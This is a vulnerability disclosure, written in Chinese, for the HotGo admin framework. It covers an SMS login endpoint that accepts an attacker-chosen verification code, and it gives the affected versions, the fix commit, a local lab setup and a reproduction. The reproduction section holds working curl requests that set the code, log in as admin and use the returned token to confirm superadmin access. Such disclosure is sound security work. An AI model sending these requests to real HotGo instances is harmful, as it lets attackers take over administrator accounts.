HotGo 漏洞报告

软件名称:HotGo

开发者或厂商:bufanyun

代码仓库:https://github.com/bufanyun/hotgo

1. 登录短信验证码内容可被攻击者指定

简要描述:登录短信验证码内容可被攻击者指定,导致攻击者接管账号。
影响版本:v2.8.4 ~ v2.15.1
前置条件:目标实例已配置短信服务商,且攻击者知道目标管理员的手机号。
修复:hotgo commit cb57056c

漏洞成因

v2.8.4 起,/sms/send 接口的请求体中包含 SendCodeInp,允许调用方指定:

# server/internal/model/input/sysin/sms_log.go:72-77    commit 373d962d0b
type SendCodeInp struct {
	Event    string `json:"event"     description:"事件"`
	Mobile   string `json:"mobile"    description:"手机号"`
	Code     string `json:"code"      description:"验证码或短信内容"`
	Template string `json:"-"         description:"发信模板 "`
}

SendCode 只在调用方没有传 Code 时才生成随机验证码,传入的值则被原样写入 hg_sys_sms_log。相关代码如下:

# server/internal/logic/sys/sms_log.go:165-182    commit 373d962d0b
	if in.Code == "" {
		in.Code = grand.Digits(4)
	}

	if err = sms.New(config.SmsDrive).SendCode(ctx, in); err != nil {
		return
	}

	var data = new(entity.SysSmsLog)
	data.Event = in.Event
	data.Mobile = in.Mobile
	data.Code = in.Code
	data.Ip = location.GetClientIp(ghttp.RequestFromCtx(ctx))
	data.Status = consts.SmsStatusNotUsed
	data.CreatedAt = gtime.Now()
	data.UpdatedAt = gtime.Now()

	_, err = dao.SysSmsLog.Ctx(ctx).Data(data).Insert()
	return

于是攻击者可以用自己指定的验证码登录。

虽然上述代码缺陷从 v2.8.4 起一直存在,但 commit dc20a86 引入了一个 bug,使得短信验证码功能失效。因此在 commit dc20a86 之后,本漏洞不再适用。

复现环境搭建

漏洞区间为 v2.8.4 至 v2.15.1,这里检出下界所在的 373d962(v2.8.4)。相关命令如下:

git clone https://github.com/bufanyun/hotgo.git
cd hotgo
git checkout 373d962

docker-compose.yaml 内容如下:

name: hotgo-284

services:
  mysql:
    image: mysql:8.0
    command: --default-authentication-plugin=mysql_native_password --character-set-server=utf8mb4 --collation-server=utf8mb4_general_ci
    environment:
      MYSQL_ROOT_PASSWORD: root123
      MYSQL_DATABASE: hotgo
      MYSQL_USER: hotgo
      MYSQL_PASSWORD: hg123456
    ports:
      - "13307:3306"
    volumes:
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql:ro
      - mysql_data:/var/lib/mysql
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot123"]
      interval: 5s
      timeout: 5s
      retries: 30

volumes:
  mysql_data:

其中 init.sql 取自仓库的 server/storage/data/hotgo.sql。启动数据库并编译服务端:

cp server/storage/data/hotgo.sql init.sql
docker compose up -d
cd server && go build -o hotgo .

server/manifest/config/config.yaml 由 config.example.yaml 复制,把数据库地址指向 127.0.0.1:13307:

database:
  default:
    link: "mysql:hotgo:hg123456.@tcp(127.0.0.1:13307)/hotgo?loc=Local&parseTime=true&charset=utf8mb4"
    Prefix: "hg_"

启动服务端后,在后台的短信配置中把服务商设为腾讯云,并填入任意非空的 APPID 与密钥,使 SendCode 能走完发送流程。实验环境由一台本地 HTTPS 服务模拟腾讯云短信接口,只需把 sms.tencentcloudapi.com 解析到该主机并保持 smsTencentEndpoint 为默认值,该服务对任意 POST 请求返回下列内容即可:

{"Response":{"SendStatusSet":[{"Code":"Ok","Message":"send success","SerialNo":"s1","Fee":1,"SessionContext":"","Mobile":"+86","NationCode":"86"}],"RequestId":"stub-req"}}

Go 会校验服务端证书,因此启动服务端时用 SSL_CERT_FILE 指向签发该服务证书的根证书。

复现过程

调用短信发送接口,指定验证码为 8888,发给管理员 15300000000:

curl -s -X POST http://127.0.0.1:8300/admin/sms/send \
  -H 'Content-Type: application/json' \
  -d '{"event":"login","mobile":"15300000000","code":"8888"}'
{"code":0,"message":"操作成功","data":null,"timestamp":1793589877,"traceID":"a139e5947d1ce418c5dbfc342b432d72"}

用 8888 作为验证码登录:

curl -s -X POST http://127.0.0.1:8300/admin/site/mobileLogin \
  -H 'Content-Type: application/json' \
  -d '{"mobile":"15300000000","code":"8888"}'

响应中返回了 admin 的登录凭据:

{"code":0,"message":"操作成功","data":{"id":1,"username":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicGlkIjowLCJkZXB0SWQiOjEwMCwicm9sZUlkIjoxLCJyb2xlS2V5Ijoic3VwZXIiLCJ1c2VybmFtZSI6ImFkbWluIi...}}

带上该 token 读取管理员信息,确认身份为超级管理员:

curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:8300/admin/member/info
{"code":0,"message":"操作成功","data":{"id":1,"deptName":"hotgo","roleName":"超级管理员","permissions":["dashboard","/console/stat","dashboard_workplace","/dept/list","/post/list","/role/list","/member/list",...]}}